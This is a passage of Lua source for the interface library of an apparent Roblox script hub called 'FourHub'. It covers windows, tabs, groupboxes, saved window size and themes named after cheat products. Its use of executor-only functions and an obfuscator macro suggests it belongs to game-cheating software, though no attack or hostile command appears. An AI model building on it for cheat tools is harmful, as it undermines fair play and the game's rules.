NotifyLabel.TextBounds.X + PadX * 2 + 16; local measuredH = math.max(NotifyLabel.TextBounds.Y + PadY * 2 + BarHeight + 4, TotalH); if measuredW > TotalW then ApplySize(math.ceil(measuredW), measuredH); end; end); local ProgressBar = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.new(0, 0, 1, -BarHeight); Size = UDim2.new(1, 0, 0, BarHeight); ZIndex = 104; Parent = NotifyInner; }); Library:AddToRegistry(ProgressBar, { BackgroundColor3 = 'AccentColor'; }, true); TweenService:Create(ProgressBar, TweenInfo.new(Duration, Enum.EasingStyle.Linear), { Size = UDim2.new(0, 0, 0, BarHeight); }):Play(); task.spawn(function() task.wait(Duration); Library:PlayNotificationExit(NotifyInner, TotalW, function() NotifyOuter:Destroy(); end); end); end; function Library:CreateWindow(...) local Arguments = { ... }; local Config = { AnchorPoint = Vector2.zero }; if type(...) == 'table' then Config = ...; else Config.Title = Arguments[1]; Config.AutoShow = Arguments[2] or false; end; if type(Config.Title) ~= 'string' then Config.Title = 'No title' end; if type(Config.TabPadding) ~= 'number' then Config.TabPadding = 10 end; if type(Config.MenuFadeTime) ~= 'number' then Config.MenuFadeTime = 0.2 end; if typeof(Config.Position) ~= 'UDim2' then Config.Position = UDim2.fromOffset(175, 50) end; if typeof(Config.Size) ~= 'UDim2' then Config.Size = UDim2.fromOffset(460, 400) end do local saved = getgenv().FourHub_ui_size; if not saved then pcall(function() if isfile and isfile('FourHub/ui_size.txt') then local d = tostring(readfile('FourHub/ui_size.txt')); local x, y = d:match('(%d+),(%d+)'); if x and y then saved = { tonumber(x), tonumber(y) } end; end; end); end; if type(saved) == 'table' and tonumber(saved[1]) and tonumber(saved[2]) then Config.Size = UDim2.fromOffset(tonumber(saved[1]), tonumber(saved[2])); end; end; if Config.Center then Config.AnchorPoint = Vector2.new(0.5, 0.5); Config.Position = UDim2.fromScale(0.5, 0.5); end; local Window = { Tabs = {}; }; Library.OverlayZIndexBase = nil; local Outer = Library:Create('Frame', { AnchorPoint = Config.AnchorPoint, BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = false; Position = Config.Position, Size = Config.Size, Visible = false; ZIndex = 1; Parent = ScreenGui; }); Window.Outer = Outer; Library.MainWindow = Window; Library:MakeDraggable(Outer, 25); local Inner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderSizePixel = 0; ClipsDescendants = false; Size = UDim2.new(1, 0, 1, 0); ZIndex = 1; Parent = Outer; }); Library:AddToRegistry(Inner, { BackgroundColor3 = 'MainColor'; }); do local UIS = game:GetService('UserInputService'); local MINW, MINH = 340, 300; Library.MainWindowOuter = Outer; local function persistSize() local s = Outer.AbsoluteSize; getgenv().FourHub_ui_size = { math.floor(s.X), math.floor(s.Y) }; pcall(function() if writefile then if makefolder and isfolder and not isfolder('FourHub') then makefolder('FourHub') end; writefile('FourHub/ui_size.txt', math.floor(s.X) .. ',' .. math.floor(s.Y)); end; end); end; function Library:GetWindowSize() local s = Outer.AbsoluteSize; return math.floor(s.X), math.floor(s.Y); end; function Library:SetWindowSize(x, y) x, y = tonumber(x), tonumber(y); if not (x and y) then return end; Outer.Size = UDim2.fromOffset(math.max(MINW, x), math.max(MINH, y)); persistSize(); end; local Handle = Library:Create('TextButton', { AnchorPoint = Vector2.new(1, 1), Position = UDim2.new(1, -3, 1, -3), Size = UDim2.fromOffset(20, 20), BackgroundTransparency = 1, Text = '', AutoButtonColor = false, ZIndex = 60, Parent = Outer, }); for i = 1, 3 do local grip = Library:Create('Frame', { AnchorPoint = Vector2.new(1, 1), Position = UDim2.new(1, 0, 1, -(i - 1) * 4), Size = UDim2.fromOffset(4 + (i - 1) * 5, 2), BackgroundColor3 = Library.AccentColor, BorderSizePixel = 0, ZIndex = 61, Parent = Handle, }); Library:AddToRegistry(grip, { BackgroundColor3 = 'AccentColor' }); end; local resizing, startPos, startSize = false, nil, nil; Handle.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then resizing = true; startPos = UIS:GetMouseLocation(); startSize = Outer.AbsoluteSize; end; end); Library:GiveSignal(UIS.InputChanged:Connect(LPH_NO_VIRTUALIZE(function(input) if resizing and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local cur = UIS:GetMouseLocation(); local w = math.max(MINW, startSize.X + (cur.X - startPos.X)); local h = math.max(MINH, startSize.Y + (cur.Y - startPos.Y)); Outer.Size = UDim2.fromOffset(w, h); end; end))); Library:GiveSignal(UIS.InputEnded:Connect(function(input) if resizing and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then resizing = false; persistSize(); end; end)); end; Window.ZIndexBase = 10; Window.GlowLayers = Library:CreateOverlayGlowLayers(Inner, 1); local AnimatedTopBar = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 0, 2); ZIndex = 5; Parent = Inner; }); Library:AddToRegistry(AnimatedTopBar, { BackgroundColor3 = 'AccentColor'; }); local WindowLabel = Library:CreateLabel({ Position = UDim2.new(0, 8, 0, 4); Size = UDim2.new(1, -16, 0, 22); Text = ""; TextSize = 15; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = 6; Parent = Inner; }); local AccentPart = Config.AccentPart or '.lol'; local function UpdateTitle() local rawTitle = Config.Title or "Sapphire Hub"; Library:SetAccentTitle(WindowLabel, rawTitle, AccentPart); end; Library.UpdateTitle = UpdateTitle; UpdateTitle(); local MainSectionOuter = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; ClipsDescendants = true; Position = UDim2.new(0, 8, 0, 30); Size = UDim2.new(1, -16, 1, -52); ZIndex = 1; Parent = Inner; }); Library:AddToRegistry(MainSectionOuter, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local MainSectionInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Color3.new(0, 0, 0); BorderMode = Enum.BorderMode.Inset; Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 1, 0); ZIndex = 1; Parent = MainSectionOuter; }); Library:AddToRegistry(MainSectionInner, { BackgroundColor3 = 'BackgroundColor'; }); local TabArea = Library:Create('Frame', { BackgroundTransparency = 1; ClipsDescendants = false; Position = UDim2.new(0, 12, 0, 6); Size = UDim2.new(1, -24, 0, 22); ZIndex = 1; Parent = MainSectionInner; }); Window.TabArea = TabArea; Window.TabPadding = Config.TabPadding; Window.TabEntries = {}; Window.TabTextSize = 16; local TabListLayout = Library:Create('UIListLayout', { Padding = UDim.new(0, Config.TabPadding); FillDirection = Enum.FillDirection.Horizontal; SortOrder = Enum.SortOrder.LayoutOrder; Parent = TabArea; }); Window.TabListLayout = TabListLayout; function Window:UpdateTabLayout() if not self.TabArea or not self.TabEntries then return end; local Count = #self.TabEntries; if Count == 0 then return end; local AreaWidth = self.TabArea.AbsoluteSize.X; if AreaWidth <= 0 then return end; local Padding = self.TabPadding or 10; local SidePadding = 12; local BaseTextSize = self.TabTextSize or 16; local MinTextSize = 11; local TotalPadding = Padding * (Count - 1); local EqualWidth = math.max(24, math.floor((AreaWidth - TotalPadding) / Count)); local AvailableTextWidth = EqualWidth - SidePadding * 2; local function LongestTextWidth(Size) local Longest = 0; for _, Entry in self.TabEntries do local Width = select(1, Library:GetTextBounds(Entry.Name, Library.Font, Size)); Longest = math.max(Longest, Width); end; return Longest; end; local TextSize = BaseTextSize; if LongestTextWidth(TextSize) > AvailableTextWidth then for Size = BaseTextSize, MinTextSize, -1 do TextSize = Size; if LongestTextWidth(Size) <= AvailableTextWidth then break; end; end; end; for _, Entry in self.TabEntries do Entry.Label.TextSize = TextSize; Entry.Button.Size = UDim2.new(0, EqualWidth, 1, 0); end; end; TabArea:GetPropertyChangedSignal('AbsoluteSize'):Connect(function() Window:UpdateTabLayout(); end); local TabContainer = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; ClipsDescendants = true; Position = UDim2.new(0, 8, 0, 32); Size = UDim2.new(1, -16, 1, -40); ZIndex = 3; Parent = MainSectionInner; }); local placeName = 'Baseplate'; pcall(function() placeName = game:GetService('MarketplaceService'):GetProductInfo(game.PlaceId).Name; end); Library.PlaceName = placeName; Library.AnonymousMode = false; local FooterLeft = Library:CreateLabel({ Position = UDim2.new(0, 10, 1, -18); Size = UDim2.new(0.5, -10, 0, 14); Text = ''; TextSize = 12; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = 6; Parent = Inner; }); local FooterRight = Library:CreateLabel({ Position = UDim2.new(0.5, 0, 1, -18); Size = UDim2.new(0.5, -10, 0, 14); Text = ''; TextSize = 12; TextXAlignment = Enum.TextXAlignment.Right; ZIndex = 6; Parent = Inner; }); Library.FooterLeft = FooterLeft; Library.FooterRight = FooterRight; Library:UpdateFooter(); Library:AddToRegistry(TabContainer, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); function Window:SetWindowTitle(Title, NewAccentPart) Config.Title = Title; if NewAccentPart then Config.AccentPart = NewAccentPart; AccentPart = NewAccentPart; end; UpdateTitle(); end; function Window:AddTab(Name) local Tab = { Groupboxes = {}; Tabboxes = {}; }; local defaultLayoutOrder = 100; if Name == 'Main' then defaultLayoutOrder = 1; elseif Name == 'Misc' then defaultLayoutOrder = 500; elseif Name:lower():find('setting') then defaultLayoutOrder = 1000; end; local TabButton = Library:Create('TextButton', { BackgroundTransparency = 1; BorderSizePixel = 0; AutoButtonColor = false; Size = UDim2.new(0, 0, 1, 0); Text = ''; ZIndex = 2; LayoutOrder = defaultLayoutOrder; Parent = TabArea; }); local TabButtonLabel = Library:CreateLabel({ Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 1, 0); Text = Name; TextSize = Window.TabTextSize or 16; TextColor3 = Color3.new(1, 1, 1); TextTransparency = 0.35; ZIndex = 3; Parent = TabButton; }); Tab.TabButton = TabButton; Tab.TabButtonLabel = TabButtonLabel; Tab.Name = Name; table.insert(Window.TabEntries, { Name = Name; Button = TabButton; Label = TabButtonLabel; }); task.defer(function() Window:UpdateTabLayout(); end); local TabGlow, TabUnderline = Library:CreateTabBottomGlow(TabButton, { GlowHeight = 18; LineHeight = 2; ZIndex = 1; }); Tab.TabGlow = TabGlow; Tab.TabUnderline = TabUnderline; local TabFrame = Library:Create('Frame', { Name = 'TabFrame', BackgroundTransparency = 1; Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 1, 0); Visible = false; ZIndex = 4; Parent = TabContainer; }); local LeftSide = Library:Create('ScrollingFrame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = true; Position = UDim2.new(0, 8 - 1, 0, 8 - 1); Size = UDim2.new(0.5, -12 + 2, 1, -16); CanvasSize = UDim2.new(0, 0, 0, 0); BottomImage = ''; TopImage = ''; ScrollBarThickness = 3; ScrollBarImageColor3 = Library.AccentColor; ZIndex = 5; Parent = TabFrame; }); local RightSide = Library:Create('ScrollingFrame', { BackgroundTransparency = 1; BorderSizePixel = 0; ClipsDescendants = true; Position = UDim2.new(0.5, 4 + 1, 0, 8 - 1); Size = UDim2.new(0.5, -12 + 2, 1, -16); CanvasSize = UDim2.new(0, 0, 0, 0); BottomImage = ''; TopImage = ''; ScrollBarThickness = 3; ScrollBarImageColor3 = Library.AccentColor; ZIndex = 5; Parent = TabFrame; }); Library:AddToRegistry(LeftSide, { ScrollBarImageColor3 = 'AccentColor' }); Library:AddToRegistry(RightSide, { ScrollBarImageColor3 = 'AccentColor' }); Library:Create('UIListLayout', { Padding = UDim.new(0, 8); FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; HorizontalAlignment = Enum.HorizontalAlignment.Center; Parent = LeftSide; }); Library:Create('UIListLayout', { Padding = UDim.new(0, 8); FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; HorizontalAlignment = Enum.HorizontalAlignment.Center; Parent = RightSide; }); for _, Side in next, { LeftSide, RightSide } do Side:WaitForChild('UIListLayout'):GetPropertyChangedSignal('AbsoluteContentSize'):Connect(function() Side.CanvasSize = UDim2.fromOffset(0, Side.UIListLayout.AbsoluteContentSize.Y + 8); end); end; function Tab:ShowTab() for _, Tab in next, Window.Tabs do Tab:HideTab(); end; Library:SetTabGlowVisible(TabGlow, TabUnderline, true); TabButtonLabel.TextTransparency = 0; TabFrame.Visible = true; for _, Groupbox in next, Tab.Groupboxes do if Groupbox.Resize then Groupbox:Resize(); end; end; end; function Tab:HideTab() Library:SetTabGlowVisible(TabGlow, TabUnderline, false); TabButtonLabel.TextTransparency = 0.35; TabFrame.Visible = false; end; function Tab:SetLayoutOrder(Position) TabButton.LayoutOrder = Position; TabListLayout:ApplyLayout(); end; function Tab:AddGroupbox(Info) local Groupbox = {}; local PreviousOverlayBase = Library.OverlayZIndexBase; Library.OverlayZIndexBase = nil; local BoxOuter = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 0, 507 + 2); ZIndex = 6; Parent = Info.Side == 1 and LeftSide or RightSide; }); Library:AddToRegistry(BoxOuter, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local BoxInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(1, -2, 1, -2); Position = UDim2.new(0, 1, 0, 1); ZIndex = 7; Parent = BoxOuter; }); Library:AddToRegistry(BoxInner, { BackgroundColor3 = 'BackgroundColor'; }); local Highlight = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 2); ZIndex = 8; Parent = BoxInner; }); Library:AddToRegistry(Highlight, { BackgroundColor3 = 'AccentColor'; }); local GroupboxLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 0, 18); Position = UDim2.new(0, 4, 0, 2); TextSize = 14; Text = Info.Name; TextXAlignment = Enum.TextXAlignment.Left; ZIndex = 9; Parent = BoxInner; }); local Container = Library:Create('Frame', { BackgroundTransparency = 1; Position = UDim2.new(0, 6, 0, 20); Size = UDim2.new(1, -8, 1, -20); ZIndex = 10; Parent = BoxInner; }); Library:Create('UIListLayout', { FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = Container; }); local ListLayout = Container:FindFirstChildOfClass('UIListLayout'); function Groupbox:Resize() local Size = 0; local SumSize = 0; local ChildCount = 0; for _, Element in next, Groupbox.Container:GetChildren() do if (not Element:IsA('UIListLayout')) and Element.Visible then ChildCount += 1; SumSize += Element.Size.Y.Offset; end; end; if ListLayout and ChildCount > 1 then SumSize += ListLayout.Padding.Offset * (ChildCount - 1); end; if ListLayout then Size = ListLayout.AbsoluteContentSize.Y; end; Size = math.max(Size, SumSize); BoxOuter.Size = UDim2.new(1, 0, 0, 20 + Size + 4); end; if ListLayout then ListLayout:GetPropertyChangedSignal('AbsoluteContentSize'):Connect(function() Groupbox:Resize(); end); end; Groupbox.Container = Container; Groupbox.ContentBaseZIndex = 10; setmetatable(Groupbox, BaseGroupbox); Groupbox:AddBlank(3); Groupbox:Resize(); Tab.Groupboxes[Info.Name] = Groupbox; Library.OverlayZIndexBase = PreviousOverlayBase; return Groupbox; end; function Tab:AddLeftGroupbox(Name) return Tab:AddGroupbox({ Side = 1; Name = Name; }); end; function Tab:AddRightGroupbox(Name) return Tab:AddGroupbox({ Side = 2; Name = Name; }); end; function Tab:AddTabbox(Info) local Tabbox = { Tabs = {}; }; local BoxOuter = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 0, 0); ZIndex = 6; Parent = Info.Side == 1 and LeftSide or RightSide; }); Library:AddToRegistry(BoxOuter, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local BoxInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(1, -2, 1, -2); Position = UDim2.new(0, 1, 0, 1); ZIndex = 7; Parent = BoxOuter; }); Library:AddToRegistry(BoxInner, { BackgroundColor3 = 'BackgroundColor'; }); local TabboxButtons = Library:Create('Frame', { BackgroundTransparency = 1; Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 0, 18); ZIndex = 8; Parent = BoxInner; }); Library:Create('UIListLayout', { FillDirection = Enum.FillDirection.Horizontal; HorizontalAlignment = Enum.HorizontalAlignment.Left; SortOrder = Enum.SortOrder.LayoutOrder; Parent = TabboxButtons; }); function Tabbox:AddTab(Name) local Tab = {}; local Button = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(0.5, 0, 1, 0); ZIndex = 6; Parent = TabboxButtons; }); Library:AddToRegistry(Button, { BackgroundColor3 = 'MainColor'; }); local ButtonLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 1, 0); TextSize = 14; Text = Name; TextXAlignment = Enum.TextXAlignment.Center; ZIndex = 7; Parent = Button; }); local Block = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderSizePixel = 0; Position = UDim2.new(0, 0, 1, 0); Size = UDim2.new(1, 0, 0, 1); Visible = false; ZIndex = 9; Parent = Button; }); Library:AddToRegistry(Block, { BackgroundColor3 = 'BackgroundColor'; }); local Container = Library:Create('Frame', { BackgroundTransparency = 1; Position = UDim2.new(0, 6, 0, 20); Size = UDim2.new(1, -8, 1, -20); ZIndex = 10; Visible = false; Parent = BoxInner; }); local TabUnderline = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Position = UDim2.new(0, 0, 0, 0); Size = UDim2.new(1, 0, 0, 2); Visible = false; ZIndex = 10; Parent = Button; }); Library:AddToRegistry(TabUnderline, { BackgroundColor3 = 'AccentColor'; }); Library:Create('UIListLayout', { FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = Container; }); function Tab:Show() for _, Tab in next, Tabbox.Tabs do Tab:Hide(); end; Container.Visible = true; Block.Visible = true; TabUnderline.Visible = true; Button.BackgroundColor3 = Library.BackgroundColor; Library.RegistryMap[Button].Properties.BackgroundColor3 = 'BackgroundColor'; Tab:Resize(); end; function Tab:Hide() Container.Visible = false; Block.Visible = false; TabUnderline.Visible = false; Button.BackgroundColor3 = Library.MainColor; Library.RegistryMap[Button].Properties.BackgroundColor3 = 'MainColor'; end; function Tab:Resize() local TabCount = 0; for _, Tab in next, Tabbox.Tabs do TabCount = TabCount + 1; end; for _, Button in next, TabboxButtons:GetChildren() do if not Button:IsA('UIListLayout') then Button.Size = UDim2.new(1 / TabCount, 0, 1, 0); end; end; if (not Container.Visible) then return; end; local Size = 0; for _, Element in next, Tab.Container:GetChildren() do if (not Element:IsA('UIListLayout')) and Element.Visible then Size = Size + Element.Size.Y.Offset; end; end; BoxOuter.Size = UDim2.new(1, 0, 0, 20 + Size + 2 + 2); end; Button.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) and not Library:MouseIsOverOpenedFrame() then Tab:Show(); Tab:Resize(); end; end); Tab.Container = Container; Tabbox.Tabs[Name] = Tab; setmetatable(Tab, BaseGroupbox); Tab.ContentBaseZIndex = 10; Tab:AddBlank(3); Tab:Resize(); if #TabboxButtons:GetChildren() == 2 then Tab:Show(); end; return Tab; end; Tab.Tabboxes[Info.Name or ''] = Tabbox; return Tabbox; end; function Tab:AddLeftTabbox(Name) return Tab:AddTabbox({ Name = Name, Side = 1; }); end; function Tab:AddRightTabbox(Name) return Tab:AddTabbox({ Name = Name, Side = 2; }); end; TabButton.MouseButton1Click:Connect(function() Tab:ShowTab(); end); if #TabContainer:GetChildren() == 1 then Tab:ShowTab(); end; Window.Tabs[Name] = Tab; return Tab; end; local ModalElement = Library:Create('TextButton', { BackgroundTransparency = 1; Size = UDim2.new(0, 0, 0, 0); Visible = true; Text = ''; Modal = false; Parent = ScreenGui; }); local TransparencyCache = {}; local Toggled = false; function Library:Toggle() Toggled = not Toggled; Library.MenuOpen = Toggled; ModalElement.Modal = Toggled; Outer.Visible = Toggled; Library:SyncOverlaysWithMenu(Toggled); Library:UpdateMenuBlur(); Library:UpdateOverlayGlow(Library.MainWindow); if Library.OnToggle then task.spawn(Library.OnToggle, Toggled); end; end; Library.MenuBindPickers = Library.MenuBindPickers or {}; Library:GiveSignal(InputService.InputBegan:Connect(function(Input, Processed) local pressed; if Input.UserInputType == Enum.UserInputType.Keyboard then pressed = Input.KeyCode.Name; elseif Input.UserInputType == Enum.UserInputType.MouseButton1 then pressed = 'MB1'; elseif Input.UserInputType == Enum.UserInputType.MouseButton2 then pressed = 'MB2'; end; if not pressed then return end; local pickers = Library.MenuBindPickers or {}; local bound = false; for _, picker in eli_ipairs(pickers) do if picker and picker.Value and picker.Value ~= 'None' then bound = true; if picker.Value == pressed then task.spawn(Library.Toggle); return end; end; end; if not bound and Input.KeyCode == Enum.KeyCode.RightShift then task.spawn(Library.Toggle); end; end)); if Config.AutoShow then task.spawn(function() Library:Toggle(); Library:UpdateMenuBlur(); end); end; Window.Holder = Outer; return Window; end; local function OnPlayerChange() local PlayerList = GetPlayersString(); for _, Value in next, Options do if Value.Type == 'Dropdown' and Value.SpecialType == 'Player' then Value:SetValues(PlayerList); end; end; end; Players.PlayerAdded:Connect(OnPlayerChange); Players.PlayerRemoving:Connect(OnPlayerChange); Library.Toggles = Toggles; Library.Options = Options; getgenv().Library = Library; return Library; end)(); local ThemeManager = (function() local httpService = game:GetService('HttpService'); local ThemeManager = {} do ThemeManager.Folder = 'sugarpop'; ThemeManager.Library = nil; ThemeManager.DefaultTheme = 'FourHub'; ThemeManager.BuiltInThemes = { ['Default'] = { 1, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"181818","AccentColor":"4a9eff","SelectedTabColor":"1c1c1c","BackgroundColor":"141414","OutlineColor":"262626","GradientColor":"1a3a5c","ShadowColor":"000000"}') }, ['GameSense'] = { 2, httpService:JSONDecode('{"FontColor":"919191","MainColor":"101010","AccentColor":"9CB819","SelectedTabColor":"101010","BackgroundColor":"111111","OutlineColor":"2D2D2D","GradientColor":"242B05"}') }, ['Comet.pub'] = { 3, httpService:JSONDecode('{"FontColor":"5E5E5E","MainColor":"0F0F0F","AccentColor":"5D589D","SelectedTabColor":"1a191d","BackgroundColor":"0F0F0F","OutlineColor":"191919","GradientColor":"2b284e"}') }, ['Tokyohook.cc'] = { 4, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"191925","AccentColor":"6759b3","SelectedTabColor":"1a1a29","BackgroundColor":"16161f","OutlineColor":"433e58","GradientColor":"2f285c"}') }, ['pandahook.cc'] = { 5, httpService:JSONDecode('{"FontColor":"AEAEAE","MainColor":"0F0F0F","AccentColor":"30406A","SelectedTabColor":"151515","BackgroundColor":"0F0F0F","OutlineColor":"171717","GradientColor":"12192b"}') }, ['Mae.lua'] = { 6, httpService:JSONDecode('{"FontColor":"c5c5c5","MainColor":"0F0F0F","AccentColor":"ffc6fe","SelectedTabColor":"171717","BackgroundColor":"0f0f0f","OutlineColor":"191919","GradientColor":"7d3c7a"}') }, ['fatality.win'] = { 7, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"1e1822","AccentColor":"c51a4a","SelectedTabColor":"151118","BackgroundColor":"1e1822","OutlineColor":"28212e","GradientColor":"640822"}') }, ['neverlose.cc'] = { 8, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"0a0f18","AccentColor":"00b0f0","SelectedTabColor":"060a10","BackgroundColor":"0a0f18","OutlineColor":"141d2f","GradientColor":"004b68"}') }, ['matcha'] = { 9, httpService:JSONDecode('{"FontColor":"e4ebd4","MainColor":"1e231a","AccentColor":"8fa87b","SelectedTabColor":"171b14","BackgroundColor":"1e231a","OutlineColor":"2b3325","GradientColor":"414d38"}') }, ['oreo.yum'] = { 10, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"141414","AccentColor":"ffffff","SelectedTabColor":"0d0d0d","BackgroundColor":"141414","OutlineColor":"262626","GradientColor":"333333"}') }, ['calamari.cc'] = { 11, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"0b1517","AccentColor":"39d3c4","SelectedTabColor":"070e10","BackgroundColor":"0b1517","OutlineColor":"152a2e","GradientColor":"146059"}') }, ['aimware.net'] = { 12, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"1c1c1c","AccentColor":"f9261a","SelectedTabColor":"141414","BackgroundColor":"1c1c1c","OutlineColor":"2e2e2e","GradientColor":"6b0c07"}') }, ['onetap.su'] = { 13, httpService:JSONDecode('{"FontColor":"e3e3e3","MainColor":"1c1e22","AccentColor":"ff9900","SelectedTabColor":"131518","BackgroundColor":"1c1e22","OutlineColor":"2c2f36","GradientColor":"734500"}') }, ['skeet.cc'] = { 14, httpService:JSONDecode('{"FontColor":"dcdcdc","MainColor":"111111","AccentColor":"569cd6","SelectedTabColor":"151515","BackgroundColor":"111111","OutlineColor":"222222","GradientColor":"1f466b"}') }, ['primordial.dev'] = { 15, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"0f1115","AccentColor":"1adbb2","SelectedTabColor":"08090b","BackgroundColor":"0f1115","OutlineColor":"1f242e","GradientColor":"095c4a"}') }, ['evon.cc'] = { 16, httpService:JSONDecode('{"FontColor":"f0e6f2","MainColor":"140d1a","AccentColor":"d026f2","SelectedTabColor":"0a060d","BackgroundColor":"140d1a","OutlineColor":"2a1a36","GradientColor":"560a66"}') }, ['sentinel.co'] = { 17, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"1b1a17","AccentColor":"f2c811","SelectedTabColor":"11100e","BackgroundColor":"1b1a17","OutlineColor":"2e2b26","GradientColor":"665407"}') }, ['cherry.pink'] = { 18, httpService:JSONDecode('{"FontColor":"fff0f5","MainColor":"221518","AccentColor":"ff69b4","SelectedTabColor":"140c0e","BackgroundColor":"221518","OutlineColor":"3d262b","GradientColor":"80144f"}') }, ['mint.tea'] = { 19, httpService:JSONDecode('{"FontColor":"f0f9f6","MainColor":"121c19","AccentColor":"4adea7","SelectedTabColor":"0a110f","BackgroundColor":"121c19","OutlineColor":"213630","GradientColor":"166b4d"}') }, ['vape.gg'] = { 20, httpService:JSONDecode('{"FontColor":"d1f2e5","MainColor":"101b17","AccentColor":"2ca579","SelectedTabColor":"0a110f","BackgroundColor":"101b17","OutlineColor":"1f342d","GradientColor":"0f4f37"}') }, ['novoline.club'] = { 21, httpService:JSONDecode('{"FontColor":"eae0d5","MainColor":"1a1a1d","AccentColor":"c5a880","SelectedTabColor":"121214","BackgroundColor":"1a1a1d","OutlineColor":"2c2a29","GradientColor":"594630"}') }, ['phantom.blue'] = { 22, httpService:JSONDecode('{"FontColor":"e2ecf7","MainColor":"101520","AccentColor":"4f9bf2","SelectedTabColor":"090d14","BackgroundColor":"101520","OutlineColor":"1d2639","GradientColor":"17467e"}') }, ['rose.garden'] = { 23, httpService:JSONDecode('{"FontColor":"fceef0","MainColor":"221516","AccentColor":"d54f67","SelectedTabColor":"150d0e","BackgroundColor":"221516","OutlineColor":"382325","GradientColor":"6b1d2b"}') }, ['bumble.bee'] = { 24, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"171714","AccentColor":"ffd60a","SelectedTabColor":"0f0f0d","BackgroundColor":"171714","OutlineColor":"2b2b26","GradientColor":"665200"}') }, ['lavender.field'] = { 25, httpService:JSONDecode('{"FontColor":"f3f0f7","MainColor":"191720","AccentColor":"b19ffb","SelectedTabColor":"100e14","BackgroundColor":"191720","OutlineColor":"2d293b","GradientColor":"4c3d82"}') }, ['cyberpunk.2077'] = { 26, httpService:JSONDecode('{"FontColor":"00f0ff","MainColor":"100f12","AccentColor":"f3f500","SelectedTabColor":"080709","BackgroundColor":"100f12","OutlineColor":"24222a","GradientColor":"5d5e00"}') }, ['solitaire.win'] = { 27, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"0e2016","AccentColor":"d4af37","SelectedTabColor":"08130d","BackgroundColor":"0e2016","OutlineColor":"1b3a27","GradientColor":"5c4c11"}') }, ['FourHub.bloom'] = { 28, httpService:JSONDecode('{"FontColor":"3d3034","MainColor":"fff5f6","AccentColor":"ffa3b1","SelectedTabColor":"ebd5d8","BackgroundColor":"fff5f6","OutlineColor":"ffd6db","GradientColor":"e68190"}') }, ['abyss.deep'] = { 29, httpService:JSONDecode('{"FontColor":"8da9c4","MainColor":"0b0c10","AccentColor":"66fcf1","SelectedTabColor":"050608","BackgroundColor":"0b0c10","OutlineColor":"1f2833","GradientColor":"0b7a75"}') }, ['sunset.glow'] = { 30, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"201115","AccentColor":"ff7e5f","SelectedTabColor":"140b0d","BackgroundColor":"201115","OutlineColor":"361d23","GradientColor":"feb47b"}') }, ['toxic.sludge'] = { 31, httpService:JSONDecode('{"FontColor":"ffffff","MainColor":"0d110d","AccentColor":"39ff14","SelectedTabColor":"060806","BackgroundColor":"0d110d","OutlineColor":"1c261c","GradientColor":"125c04"}') }, ['ice.age'] = { 32, 